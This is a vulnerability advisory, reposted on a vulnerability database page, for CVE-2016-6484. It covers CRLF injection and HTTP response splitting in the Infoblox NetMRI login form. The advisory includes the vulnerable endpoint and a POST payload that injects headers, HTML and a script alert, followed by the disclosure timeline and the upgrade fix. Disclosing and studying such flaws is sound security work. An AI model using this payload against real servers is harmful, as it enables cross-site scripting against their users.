Vulners
Lucene search
Infoblox 7.0.1 CRLF Injection / HTTP Response Splitting
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | Bugzilla 4.4.x < 4.4.12 / 5.0.x < 5.0.3 Multiple XSS | 8 Mar 201700:00 | – | nessus |
 | Infoblox Network Automation HTTP Response Splitting Vulnerability | 12 Sep 201600:00 | – | cnvd |
 | CVE-2016-6484 | 23 Jan 201721:00 | – | cve |
 | CVE-2016-6484 | 23 Jan 201721:00 | – | cvelist |
 | EUVD-2016-7407 | 7 Oct 202500:30 | – | euvd |
 | CVE-2016-6484 | 23 Jan 201721:59 | – | nvd |
 | Crlf injection | 23 Jan 201721:59 | – | prion |
`Exploit Title: [CVE-2016-6484] Infoblox Network Automation CRLF Injection/ HTTP splitting vulnerability
Product: Infoblox Network Automation
Vulnerable Versions: 7.0.1 and all previous versions
Tested Version: 6.9.2
Advisory Publication: 06/09/2016
Vulnerability Type: [CWE-113:] Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Response Splitting)
CVE Reference: CVE-2016-6484
Credit: Alex Haynes
Advisory Details:
(1) Vendor & Product Description
--------------------------------
Vendor:
Infoblox
Product & Version:
Infoblox Network Automation v7.0.1
Vendor URL & Download:
https://www.infoblox.com/products/network-automation
Product Description:
"Infoblox also offers a complementary, powerful network automation platform which enables discovery, switch port management, network change configuration and compliance management for multi-vendor network devices. Automation cuts down administrator workload and reduces risk of network outages due to improper configurations or changes."
(2) Vulnerability Details:
--------------------------
The login page of netmri is vulnerable to a HTTP splitting/CRLF injection.
https://NETMRISERVER/netmri/config/userAdmin/login.tdf
The POST of the login action contains the following parameters, and the contentType parameter can be modified to be reflected in the response header:
skipjackPassword=test&width=100&contentType=application/xml&msg=Please+wait+while+your+credentials+are+validated...&url=%2Fnetmri%2Fconfig%2FuserAdmin%2Flogin.tdf&mode=DO-LOGIN&skipjackUsername=test&multipartFile=&title=Waiting+For+Process&filename=&licenseFile=input.licenseFile&authServerList=192.168.X.X%2C+10.X.X.X
Once we control content-type, we can inject carriage return : %0a and line feed : %0d characters to break the header and introduce our own, effectively splitting the response. We can then introduce our own HTML and/or javascript to provoke a HTML injection or cross-site scripting attack.:
skipjackPassword=test&width=100&contentType=%0d%0aContentLength:%2019%0d%0a%0d%0a<html><h1>Injected HTML</h1><script>alert(xss);</script><!--</html>
&msg=Please+wait+while+your+credentials+are+validated...&url=%2Fnetmri%2Fconfig%2FuserAdmin%2Flogin.tdf&mode=DO-LOGIN&skipjackUsername=test&multipartFile=&title=Waiting+For+Process&filename=&licenseFile=input.licenseFile&authServerList=192.168.X.X%2C+10.X.X.X
(3) Advisory Timeline:
----------------------
25/01/2016 - First Contact informing vendor of vulnerabilities. No response.
01/02/2016 - Follow up e-mail to inform them of vulnerabilities. Response requesting further information.
01/02/2016 - Information on vulnerabilities sent to vendor. No response.
08/02/2016 - follow up e-mail requesting update. Vendor responds asking us to open a support ticket.
12/02/2016 - Infoblox products out of support so cannot raise ticket. write to vendor to explain situation. No response.
24/02/2016 - Follow up with vendor on vulnerabilities requesting an update.
10/03/2016 - Final follow up to vendor requesting an update. Vendor responds and opens support ticket for vulnerabilities, mentioning they will look into vulnerabilities.
14/03/2016 - vendor responds saying they are able to reproduce vulnerabilities
17/03/2016 - Vendor responds saying some of the vulnerabilities are already fixed in version 7.0.4 but cannot confirm which ones.
05/04/2016 - Request update from vendor on status of vulnerabilities.
12/04/2016 - Vendor responds saying CSRF already fixed in 7.0.1, XSS and HTTP Splitting to be fixed in upcoming 7.1.1 - expected release in summer.
30/06/2016 - Patch 7.1.1 released
06/09/2016 - Public disclosure
(4)Solution:
------------
Upgrade to Version 7.1.1
(5) Credits:
------------
Discovered by Alex Haynes
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Sep 2016 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.00437